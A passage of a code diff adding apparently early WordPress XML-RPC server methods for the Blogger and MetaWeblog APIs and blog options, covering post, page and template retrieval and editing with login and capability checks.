+		do_action('xmlrpc_call', 'wp.getPageStatusList');
+
+		return get_page_statuses( );
+	}
+
+	/**
+	 * Retrieve page templates.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getPageTemplates( $args ) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_pages' ) ) {
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this blog.' ) );
+		}
+
+		$templates = get_page_templates( );
+		$templates['Default'] = 'default';
+
+		return $templates;
+	}
+
+	/**
+	 * Retrieve blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function wp_getOptions( $args ) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= (array) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		// If no specific options where asked for, return all of them
+		if (count( $options ) == 0 ) {
+			$options = array_keys($this->blog_options);
+		}
+
+		return $this->_getOptions($options);
+	}
+
+	/**
+	 * Retrieve blog options value from list.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $options Options to retrieve.
+	 * @return array
+	 */
+	function _getOptions($options)
+	{
+		$data = array( );
+		foreach( $options as $option ) {
+			if( array_key_exists( $option, $this->blog_options ) )
+			{
+				$data[$option] = $this->blog_options[$option];
+				//Is the value static or dynamic?
+				if( isset( $data[$option]['option'] ) ) {
+					$data[$option]['value'] = get_option( $data[$option]['option'] );
+					unset($data[$option]['option']);
+				}
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Update blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return unknown
+	 */
+	function wp_setOptions( $args ) {
+		$this->escape( $args );
+
+		$blog_id	= (int) $args[0];
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= (array) $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'manage_options' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to update options.' ) );
+
+		foreach( $options as $o_name => $o_value ) {
+			$option_names[] = $o_name;
+			if( empty( $o_value ) )
+				continue;
+
+			if( !array_key_exists( $o_name, $this->blog_options ) )
+				continue;
+
+			if( $this->blog_options[$o_name]['readonly'] == true )
+				continue;
+
+			update_option( $this->blog_options[$o_name]['option'], $o_value );
+		}
+
+		//Now return the updated values
+		return $this->_getOptions($option_names);
+	}
+
+	/* Blogger API functions.
+	 * specs on http://plant.blogger.com/api and http://groups.yahoo.com/group/bloggerDev/
+	 */
+
+	/**
+	 * Retrieve blogs that user owns.
+	 *
+	 * Will make more sense once we support multiple blogs.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function blogger_getUsersBlogs($args) {
+
+		$this->escape($args);
+
+		$username = $args[1];
+		$password  = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.getUsersBlogs');
+
+		$is_admin = current_user_can('manage_options');
+
+		$struct = array(
+			'isAdmin'  => $is_admin,
+			'url'      => get_option('home') . '/',
+			'blogid'   => '1',
+			'blogName' => get_option('blogname'),
+			'xmlrpc'   => site_url( 'xmlrpc.php' )
+		);
+
+		return array($struct);
+	}
+
+	/**
+	 * Retrieve user's data.
+	 *
+	 * Gives your client some info about you, so you don't have to.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function blogger_getUserInfo($args) {
+
+		$this->escape($args);
+
+		$username = $args[1];
+		$password  = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you do not have access to user data on this blog.' ) );
+
+		do_action('xmlrpc_call', 'blogger.getUserInfo');
+
+		$struct = array(
+			'nickname'  => $user->nickname,
+			'userid'    => $user->ID,
+			'url'       => $user->user_url,
+			'lastname'  => $user->last_name,
+			'firstname' => $user->first_name
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function blogger_getPost($args) {
+
+		$this->escape($args);
+
+		$post_ID    = (int) $args[1];
+		$username = $args[2];
+		$password  = $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		do_action('xmlrpc_call', 'blogger.getPost');
+
+		$post_data = wp_get_single_post($post_ID, ARRAY_A);
+
+		$categories = implode(',', wp_get_post_categories($post_ID));
+
+		$content  = '<title>'.stripslashes($post_data['post_title']).'</title>';
+		$content .= '<category>'.$categories.'</category>';
+		$content .= stripslashes($post_data['post_content']);
+
+		$struct = array(
+			'userid'    => $post_data['post_author'],
+			'dateCreated' => new IXR_Date(mysql2date('Ymd\TH:i:s', $post_data['post_date'], false)),
+			'content'     => $content,
+			'postid'  => $post_data['ID']
+		);
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function blogger_getRecentPosts($args) {
+
+		$this->escape($args);
+
+		$blog_ID    = (int) $args[1]; /* though we don't use it yet */
+		$username = $args[2];
+		$password  = $args[3];
+		$num_posts  = $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.getRecentPosts');
+
+		$posts_list = wp_get_recent_posts($num_posts);
+
+		if (!$posts_list) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		foreach ($posts_list as $entry) {
+			if( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
+			$categories = implode(',', wp_get_post_categories($entry['ID']));
+
+			$content  = '<title>'.stripslashes($entry['post_title']).'</title>';
+			$content .= '<category>'.$categories.'</category>';
+			$content .= stripslashes($entry['post_content']);
+
+			$struct[] = array(
+				'userid' => $entry['post_author'],
+				'dateCreated' => new IXR_Date($post_date),
+				'content' => $content,
+				'postid' => $entry['ID'],
+			);
+
+		}
+
+		$recent_posts = array();
+		for ($j=0; $j<count($struct); $j++) {
+			array_push($recent_posts, $struct[$j]);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve blog_filename content.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return string
+	 */
+	function blogger_getTemplate($args) {
+
+		$this->escape($args);
+
+		$blog_ID    = (int) $args[1];
+		$username = $args[2];
+		$password  = $args[3];
+		$template   = $args[4]; /* could be 'main' or 'archiveIndex', but we don't use it */
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.getTemplate');
+
+		if ( !current_user_can('edit_themes') ) {
+			return new IXR_Error(401, __('Sorry, this user can not edit the template.'));
+		}
+
+		/* warning: here we make the assumption that the blog's URL is on the same server */
+		$filename = get_option('home') . '/';
+		$filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename);
+
+		$f = fopen($filename, 'r');
+		$content = fread($f, filesize($filename));
+		fclose($f);
+
+		/* so it is actually editable with a windows/mac client */
+		// FIXME: (or delete me) do we really want to cater to bad clients at the expense of good ones by BEEPing up their line breaks? commented.     $content = str_replace("\n", "\r\n", $content);
+
+		return $content;
+	}
+
+	/**
+	 * Updates the content of blog_filename.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True when done.
+	 */
+	function blogger_setTemplate($args) {
+
+		$this->escape($args);
+
+		$blog_ID    = (int) $args[1];
+		$username = $args[2];
+		$password  = $args[3];
+		$content    = $args[4];
+		$template   = $args[5]; /* could be 'main' or 'archiveIndex', but we don't use it */
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.setTemplate');
+
+		if ( !current_user_can('edit_themes') ) {
+			return new IXR_Error(401, __('Sorry, this user cannot edit the template.'));
+		}
+
+		/* warning: here we make the assumption that the blog's URL is on the same server */
+		$filename = get_option('home') . '/';
+		$filename = preg_replace('#https?://.+?/#', $_SERVER['DOCUMENT_ROOT'].'/', $filename);
+
+		if ($f = fopen($filename, 'w+')) {
+			fwrite($f, $content);
+			fclose($f);
+		} else {
+			return new IXR_Error(500, __('Either the file is not writable, or something wrong happened. The file has not been updated.'));
+		}
+
+		return true;
+	}
+
+	/**
+	 * Create new post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int
+	 */
+	function blogger_newPost($args) {
+
+		$this->escape($args);
+
+		$blog_ID    = (int) $args[1]; /* though we don't use it yet */
+		$username = $args[2];
+		$password  = $args[3];
+		$content    = $args[4];
+		$publish    = $args[5];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.newPost');
+
+		$cap = ($publish) ? 'publish_posts' : 'edit_posts';
+		if ( !current_user_can($cap) )
+			return new IXR_Error(401, __('Sorry, you are not allowed to post on this blog.'));
+
+		$post_status = ($publish) ? 'publish' : 'draft';
+
+		$post_author = $user->ID;
+
+		$post_title = xmlrpc_getposttitle($content);
+		$post_category = xmlrpc_getpostcategory($content);
+		$post_content = xmlrpc_removepostdata($content);
+
+		$post_date = current_time('mysql');
+		$post_date_gmt = current_time('mysql', 1);
+
+		$post_data = compact('blog_ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status');
+
+		$post_ID = wp_insert_post($post_data);
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if (!$post_ID)
+			return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		logIO('O', "Posted ! ID: $post_ID");
+
+		return $post_ID;
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool true when done.
+	 */
+	function blogger_editPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[1];
+		$username  = $args[2];
+		$password   = $args[3];
+		$content     = $args[4];
+		$publish     = $args[5];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.editPost');
+
+		$actual_post = wp_get_single_post($post_ID,ARRAY_A);
+
+		if (!$actual_post || $actual_post['post_type'] != 'post') {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+
+		$this->escape($actual_post);
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you do not have the right to edit this post.'));
+
+		extract($actual_post, EXTR_SKIP);
+
+		if ( ('publish' == $post_status) && !current_user_can('publish_posts') )
+			return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.'));
+
+		$post_title = xmlrpc_getposttitle($content);
+		$post_category = xmlrpc_getpostcategory($content);
+		$post_content = xmlrpc_removepostdata($content);
+
+		$postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt');
+
+		$result = wp_update_post($postdata);
+
+		if (!$result) {
+			return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be edited.'));
+		}
+		$this->attach_uploads( $ID, $post_content );
+
+		return true;
+	}
+
+	/**
+	 * Remove a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True when post is deleted.
+	 */
+	function blogger_deletePost($args) {
+		$this->escape($args);
+
+		$post_ID     = (int) $args[1];
+		$username  = $args[2];
+		$password   = $args[3];
+		$publish     = $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'blogger.deletePost');
+
+		$actual_post = wp_get_single_post($post_ID,ARRAY_A);
+
+		if (!$actual_post || $actual_post['post_type'] != 'post') {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you do not have the right to delete this post.'));
+
+		$result = wp_delete_post($post_ID);
+
+		if (!$result) {
+			return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be deleted.'));
+		}
+
+		return true;
+	}
+
+	/* MetaWeblog API functions
+	 * specs on wherever Dave Winer wants them to be
+	 */
+
+	/**
+	 * Create a new post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int
+	 */
+	function mw_newPost($args) {
+		$this->escape($args);
+
+		$blog_ID     = (int) $args[0]; // we will support this in the near future
+		$username  = $args[1];
+		$password   = $args[2];
+		$content_struct = $args[3];
+		$publish     = $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'metaWeblog.newPost');
+
+		$cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
+		$error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' );
+		$post_type = 'post';
+		$page_template = '';
+		if( !empty( $content_struct['post_type'] ) ) {
+			if( $content_struct['post_type'] == 'page' ) {
+				$cap = ( $publish ) ? 'publish_pages' : 'edit_pages';
+				$error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' );
+				$post_type = 'page';
+				if( !empty( $content_struct['wp_page_template'] ) )
+					$page_template = $content_struct['wp_page_template'];
+			}
+			elseif( $content_struct['post_type'] == 'post' ) {
+				// This is the default, no changes needed
+			}
+			else {
+				// No other post_type values are allowed here
+				return new IXR_Error( 401, __( 'Invalid post type.' ) );
+			}
+		}
+
+		if( !current_user_can( $cap ) ) {
+			return new IXR_Error( 401, $error_message );
+		}
+
+		// Let WordPress generate the post_name (slug) unless
+		// one has been provided.
+		$post_name = "";
+		if(isset($content_struct["wp_slug"])) {
+			$post_name = $content_struct["wp_slug"];
+		}
+
+		// Only use a password if one was given.
+		if(isset($content_struct["wp_password"])) {
+			$post_password = $content_struct["wp_password"];
+		}
+
+		// Only set a post parent if one was provided.
+		if(isset($content_struct["wp_page_parent_id"])) {
+			$post_parent = $content_struct["wp_page_parent_id"];
+		}
+
+		// Only set the menu_order if it was provided.
+		if(isset($content_struct["wp_page_order"])) {
+			$menu_order = $content_struct["wp_page_order"];
+		}
+
+		$post_author = $user->ID;
+
+		// If an author id was provided then use it instead.
+		if(
+			isset($content_struct["wp_author_id"])
+			&& ($user->ID != $content_struct["wp_author_id"])
+		) {
+			switch($post_type) {
+				case "post":
+					if(!current_user_can("edit_others_posts")) {
+						return(new IXR_Error(401, __("You are not allowed to post as this user")));
+					}
+					break;
+				case "page":
+					if(!current_user_can("edit_others_pages")) {
+						return(new IXR_Error(401, __("You are not allowed to create pages as this user")));
+					}
+					break;
+				default:
+					return(new IXR_Error(401, __("Invalid post type.")));
+					break;
+			}
+			$post_author = $content_struct["wp_author_id"];
+		}
+
+		$post_title = $content_struct['title'];
+		$post_content = apply_filters( 'content_save_pre', $content_struct['description'] );
+
+		$post_status = $publish ? 'publish' : 'draft';
+
+		if( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				case 'pending':
+					// Pending is only valid for posts, not pages.
+					if( $post_type === 'post' ) {
+						$post_status = $content_struct["{$post_type}_status"];
+					}
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$post_excerpt = $content_struct['mt_excerpt'];
+		$post_more = $content_struct['mt_text_more'];
+
+		$tags_input = $content_struct['mt_keywords'];
+
+		if(isset($content_struct["mt_allow_comments"])) {
+			if(!is_numeric($content_struct["mt_allow_comments"])) {
+				switch($content_struct["mt_allow_comments"]) {
+					case "closed":
+						$comment_status = "closed";
+						break;
+					case "open":
+						$comment_status = "open";
+						break;
+					default:
+						$comment_status = get_option("default_comment_status");
+						break;
+				}
+			}
+			else {
+				switch((int) $content_struct["mt_allow_comments"]) {
+					case 0:
+					case 2:
+						$comment_status = "closed";
+						break;
+					case 1:
+						$comment_status = "open";
+						break;
+					default:
+						$comment_status = get_option("default_comment_status");
+						break;
+				}
+			}
+		}
+		else {
+			$comment_status = get_option("default_comment_status");
+		}
+
+		if(isset($content_struct["mt_allow_pings"])) {
+			if(!is_numeric($content_struct["mt_allow_pings"])) {
+				switch($content_struct['mt_allow_pings']) {
+					case "closed":
+						$ping_status = "closed";
+						break;
+					case "open":
+						$ping_status = "open";
+						break;
+					default:
+						$ping_status = get_option("default_ping_status");
+						break;
+				}
+			}
+			else {
+				switch((int) $content_struct["mt_allow_pings"]) {
+					case 0:
+						$ping_status = "closed";
+						break;
+					case 1:
+						$ping_status = "open";
+						break;
+					default:
+						$ping_status = get_option("default_ping_status");
+						break;
+				}
+			}
+		}
+		else {
+			$ping_status = get_option("default_ping_status");
+		}
+
+		if ($post_more) {
+			$post_content = $post_content . "<!--more-->" . $post_more;
+		}
+
+		$to_ping = $content_struct['mt_tb_ping_urls'];
+		if ( is_array($to_ping) )
+			$to_ping = implode(' ', $to_ping);
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			$dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, GMT);
+		} else {
+			$post_date = current_time('mysql');
+			$post_date_gmt = current_time('mysql', 1);
+		}
+
+		$catnames = $content_struct['categories'];
+		logIO('O', 'Post cats: ' . var_export($catnames,true));
+		$post_category = array();
+
+		if (is_array($catnames)) {
+			foreach ($catnames as $cat) {
+				$post_category[] = get_cat_ID($cat);
+			}
+		}
+
+		// We've got all the data -- post it:
+		$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template');
+
+		$post_ID = wp_insert_post($postdata, true);
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if (!$post_ID) {
+			return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));
+		}
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) )
+			if ( $content_struct['sticky'] == true )
+				stick_post( $post_ID );
+			elseif ( $content_struct['sticky'] == false )
+				unstick_post( $post_ID );
+
+		if ( isset($content_struct['custom_fields']) ) {
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+		}
+
+		// Handle enclosures
+		$this->add_enclosure_if_new($post_ID, $content_struct['enclosure']);
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		logIO('O', "Posted ! ID: $post_ID");
+
+		return strval($post_ID);
+	}
+
+	function add_enclosure_if_new($post_ID, $enclosure) {
+		if( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) {
+
+			$encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'];
+			$found = false;
+			foreach ( (array) get_post_custom($post_ID) as $key => $val) {
+				if ($key == 'enclosure') {
+					foreach ( (array) $val as $enc ) {
+						if ($enc == $encstring) {
+							$found = true;
+							break 2;
+						}
+					}
+				}
+			}
+			if (!$found) {
+				add_post_meta( $post_ID, 'enclosure', $encstring );
+			}
+		}
+	}
+
+	/**
+	 * Attach upload to a post.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $post_ID Post ID.
+	 * @param string $post_content Post Content for attachment.
+	 */
+	function attach_uploads( $post_ID, $post_content ) {
+		global $wpdb;
+
+		// find any unattached files
+		$attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '-1' AND post_type = 'attachment'" );
+		if( is_array( $attachments ) ) {
+			foreach( $attachments as $file ) {
+				if( strpos( $post_content, $file->guid ) !== false ) {
+					$wpdb->update($wpdb->posts, array('post_parent' => $post_ID), array('ID' => $file->ID) );
+				}
+			}
+		}
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool True on success.
+	 */
+	function mw_editPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+		$content_struct = $args[3];
+		$publish     = $args[4];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		do_action('xmlrpc_call', 'metaWeblog.editPost');
+
+		$cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
+		$error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' );
+		$post_type = 'post';
+		$page_template = '';
+		if( !empty( $content_struct['post_type'] ) ) {
+			if( $content_struct['post_type'] == 'page' ) {
+				$cap = ( $publish ) ? 'publish_pages' : 'edit_pages';
+				$error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' );
+				$post_type = 'page';
+				if( !empty( $content_struct['wp_page_template'] ) )
+					$page_template = $content_struct['wp_page_template'];
+			}
+			elseif( $content_struct['post_type'] == 'post' ) {
+				// This is the default, no changes needed
+			}
+			else {
+				// No other post_type values are allowed here
+				return new IXR_Error( 401, __( 'Invalid post type.' ) );
+			}
+		}
+
+		if( !current_user_can( $cap ) ) {
+			return new IXR_Error( 401, $error_message );
+		}
+
+		$postdata = wp_get_single_post($post_ID, ARRAY_A);
+
+		// If there is no post data for the give post id, stop
+		// now and return an error.  Other wise a new post will be
+		// created (which was the old behavior).
+		if(empty($postdata["ID"])) {
+			return(new IXR_Error(404, __("Invalid post ID.")));
+		}
+
+		$this->escape($postdata);
+		extract($postdata, EXTR_SKIP);
+
+		// Let WordPress manage slug if none was provided.
+		$post_name = "";
+		if(isset($content_struct["wp_slug"])) {
+			$post_name = $content_struct["wp_slug"];
+		}
+
+		// Only use a password if one was given.
+		if(isset($content_struct["wp_password"])) {
+			$post_password = $content_struct["wp_password"];
+		}
+
+		// Only set a post parent if one was given.
+		if(isset($content_struct["wp_page_parent_id"])) {
+			$post_parent = $content_struct["wp_page_parent_id"];
+		}
+
+		// Only set the menu_order if it was given.
+		if(isset($content_struct["wp_page_order"])) {
+			$menu_order = $content_struct["wp_page_order"];
+		}
+
+		$post_author = $postdata["post_author"];
+
+		// Only set the post_author if one is set.
+		if(
+			isset($content_struct["wp_author_id"])
+			&& ($user->ID != $content_struct["wp_author_id"])
+		) {
+			switch($post_type) {
+				case "post":
+					if(!current_user_can("edit_others_posts")) {
+						return(new IXR_Error(401, __("You are not allowed to change the post author as this user.")));
+					}
+					break;
+				case "page":
+					if(!current_user_can("edit_others_pages")) {
+						return(new IXR_Error(401, __("You are not allowed to change the page author as this user.")));
+					}
+					break;
+				default:
+					return(new IXR_Error(401, __("Invalid post type.")));
+					break;
+			}
+			$post_author = $content_struct["wp_author_id"];
+		}
+
+		if(isset($content_struct["mt_allow_comments"])) {
+			if(!is_numeric($content_struct["mt_allow_comments"])) {
+				switch($content_struct["mt_allow_comments"]) {
+					case "closed":
+						$comment_status = "closed";
+						break;
+					case "open":
+						$comment_status = "open";
+						break;
+					default:
+						$comment_status = get_option("default_comment_status");
+						break;
+				}
+			}
+			else {
+				switch((int) $content_struct["mt_allow_comments"]) {
+					case 0:
+					case 2:
+						$comment_status = "closed";
+						break;
+					case 1:
+						$comment_status = "open";
+						break;
+					default:
+						$comment_status = get_option("default_comment_status");
+						break;
+				}
+			}
+		}
+
+		if(isset($content_struct["mt_allow_pings"])) {
+			if(!is_numeric($content_struct["mt_allow_pings"])) {
+				switch($content_struct["mt_allow_pings"]) {
+					case "closed":
+						$ping_status = "closed";
+						break;
+					case "open":
+						$ping_status = "open";
+						break;
+					default:
+						$ping_status = get_option("default_ping_status");
+						break;
+				}
+			}
+			else {
+				switch((int) $content_struct["mt_allow_pings"]) {
+					case 0:
+						$ping_status = "closed";
+						break;
+					case 1:
+						$ping_status = "open";
+						break;
+					default:
+						$ping_status = get_option("default_ping_status");
+						break;
+				}
+			}
+		}
+
+		$post_title = $content_struct['title'];
+		$post_content = apply_filters( 'content_save_pre', $content_struct['description'] );
+		$catnames = $content_struct['categories'];
+
+		$post_category = array();
+
+		if (is_array($catnames)) {
+			foreach ($catnames as $cat) {
+		 		$post_category[] = get_cat_ID($cat);
+			}
+		}
+
+		$post_excerpt = $content_struct['mt_excerpt'];
+		$post_more = $content_struct['mt_text_more'];
+
+		$post_status = $publish ? 'publish' : 'draft';
+		if( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				case 'pending':
+					// Pending is only valid for posts, not pages.
+					if( $post_type === 'post' ) {
+						$post_status = $content_struct["{$post_type}_status"];
+					}
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$tags_input = $content_struct['mt_keywords'];
+
+		if ( ('publish' == $post_status) ) {
+			if ( ( 'page' == $post_type ) && !current_user_can('publish_pages') )
+				return new IXR_Error(401, __('Sorry, you do not have the right to publish this page.'));
+			else if ( !current_user_can('publish_posts') )
+				return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.'));
+		}
+
+		if ($post_more) {
+			$post_content = $post_content . "<!--more-->" . $post_more;
+		}
+
+		$to_ping = $content_struct['mt_tb_ping_urls'];
+		if ( is_array($to_ping) )
+			$to_ping = implode(' ', $to_ping);
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			$dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']->getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, GMT);
+		} else {
+			$post_date     = $postdata['post_date'];
+			$post_date_gmt = $postdata['post_date_gmt'];
+		}
+
+		// We've got all the data -- post it:
+		$newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template');
+
+		$result = wp_update_post($newpost, true);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if (!$result) {
+			return new IXR_Error(500, __('Sorry, your entry could not be edited. Something wrong happened.'));
+		}
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) )
+			if ( $content_struct['sticky'] == true )
+				stick_post( $post_ID );
+			elseif ( $content_struct['sticky'] == false )
+				unstick_post( $post_ID );
+
+		if ( isset($content_struct['custom_fields']) ) {
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+		}
+
+		// Handle enclosures
+		$this->add_enclosure_if_new($post_ID, $content_struct['enclosure']);
+
+		$this->attach_uploads( $ID, $post_content );
+
+		logIO('O',"(MW) Edited ! ID: $post_ID");
+
+		return true;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	function mw_getPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		if( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );
+
+		do_action('xmlrpc_call', 'metaWeblog.getPost');
+
+		$postdata = wp_get_single_post($post_ID, ARRAY_A);
+
+		if ($postdata['post_date'] != '') {
+			$post_date = mysql2date('Ymd\TH:i:s', $postdata['post_date'], false);
+			$post_date_gmt = mysql2date('Ymd\TH:i:s', $postdata['post_date_gmt'], false);
+
+			// For drafts use the GMT version of the post date
+			if ( $postdata['post_status'] == 'draft' ) {
+				$post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $postdata['post_date'] ) );
+				$post_date_gmt = preg_replace( '|\-|', '', $post_date_gmt );
+				$post_date_gmt = preg_replace( '| |', 'T', $post_date_gmt );
+			}
+
+			$categories = array();
+			$catids = wp_get_post_categories($post_ID);
+			foreach($catids as $catid)
+				$categories[] = get_cat_name($catid);
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $post_ID );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag )
+					$tagnames[] = $tag->name;
